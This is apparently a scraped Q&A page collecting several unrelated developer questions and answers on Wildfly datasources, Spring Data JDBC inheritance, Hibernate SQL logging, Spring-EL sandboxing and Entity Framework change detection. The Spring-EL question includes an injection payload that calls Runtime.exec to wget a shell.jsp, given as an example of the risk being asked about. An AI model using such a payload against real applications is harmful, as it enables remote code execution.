When defining a database datasource in Wildfly/Jboss EAP there is a parameter 'share-prepared-statements' which is described like this :
Whether to share prepare statements, i.e. whether asking for same
statement twice without closing uses the same underlying prepared
statement. The default is false
To me it sounds good to have it enabled. But the fact that it is set to 'false' by default makes me think that there could be drawbacks.
The problem is that I cannot find any documentation on this.
So what could be the possible drawbacks ?
Related
I am working on a new project using spring data jdbc because it is very easy to handle and indeed splendid.
In my scenario i have three (maybe more in the future) types of projects. So my domain model could be easily modelled with plain old java objects using type inheritance.
First question:
As i am using spring data jdbc, is this way (inheritance) even supported like it is in JPA?
Second question - as addition to the first one:
I could not found anything regarding this within the official docs. So i am assuming there are good reasons why it is not supported. Speaking of that, may i be on the wrong track modelling entities with inheritance in general?
Currently Spring Data JDBC does not support inheritance.
The reason for this is that inheritance make things rather complicated and it was not at all clear what the correct approach is.
I have a couple of vague ideas how one might create something usable. Different repositories per type is one option, using a single type for persisting, but having some post processing to obtain the correct type upon reading is another one.
I have set
logging.level.org.hibernate.type.descriptor.sql=trace
but it logs each variable binding as a separate line which, having average 50-60 columns per table makes log files harder to understand.
Is there a way to configure logger so that all hibernate queries are printed with its already bound values. (which will need only a single line in the log file.)
As far as I know, logging SQL with bounded value has once been a feature in Hibernate (2.x or 3.x?) but was later removed.
One workaround is to use utilities like JdbcDsLog ( e.g. https://github.com/adrianshum/jdbcdslog )
Disclaimer: I was the maintainer of the above fork of JdbcDsLog
I have found best way to do this is to use either datasource proxy.
These are invoked before each db hit.
And we can set our logic to log the query with them.
A known example of datasource proxy is p6spy.
I am using Spring-EL to create dynamic csv-field to class-field mappings used in different Spring-Batch import jobs. (Different input files, same output classes). This is working very good but the idea is that it must be possible for a user to create such a mapping configuration.
The problem is that the Spring-EL expressions are not executed inside a kind of sandbox and therefor it is very easy to inject evil code. For example:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
My question is, how can I run Spring-EL inside some kind of sandbox or restrict access to only a specific set of methods/classes? I cannot find any thing related to this topic. Are maybe Spring-EL is not the right choice for the job.
Example of what I try to achieve:
name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)
The SimpleEvaluationContext has been designed to decrease application vulnerabilities.
See https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context for more info:
SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.
Is it possible to write the expression in boot dashboard filter with AND/OR condition?
No, this is not yet possible. Please raise an enhancement request at https://github.com/spring-projects/spring-ide/issues.
The design guideline behind this search box was to keep it as simple as possible and have just a simple "filter" text that gets matched against project names, working sets, and tags. If you file an enhancement request, it would be great if you could explain the setting and context a bit, provide a few examples why the AND/OR syntax would be useful or necessary, and how you would use that. We would like to understand the context a bit more before deciding on a final user experience for it.
Thanks!!!
I am trying to boost my EF operation performance, and I have found some recommendations regarding DbContext.Configuration.AutoDetectChangesEnabled property
a) in some cases to turn off AutoDetectChangesEnabled - this is clear - I am using it for import functions
b) but then I have noticed this type of approach with enabling this property only before calling SaveChanges():
DbContext db = new DbContext();
db.Configuration.AutoDetectChangesEnabled = false;
//...some changes to POCO properties
db.Configuration.AutoDetectChangesEnabled = true;
db.SaveChanges();
all the changes seem to be correctly saved to database and it works noticably faster compared to approach where AutoDetectChangesEnabled property is leaved intact.
Question
So I wonder is there a reason to leave AutoDetectChangesEnabled intact? What risks there could be if I disable this property by default and then reenable each time before calling DbContext.SaveChanges?
Related post
This post suggests that there might be reasons to leave AutoDetectChangesEnabled==true, but no clear evidence when and why should do so (ok, it says - do so, if entities are EDITED). Has anybody found out argument for/against this?
EF Code First: is good to call DetectChanges just before SaveChanges?
If you look at the documentation Entity Framework Automatic Detect Changes it says:
When using most POCO entities the determination of how an entity has
changed (and therefore which updates need to be sent to the database)
is handled by the Detect Changes algorithm. Detect Changes works by
detecting the differences between the current property values of the
entity and the original property values that are stored in a snapshot
when the entity was queried or attached.
So I think this support the link that you found that if the entity is Edited, with AutoDetectChangesEnabled=true, the change is tracked.
I've been disabling the AutoDetectChangesEnabled for Insert, with great performance improvement.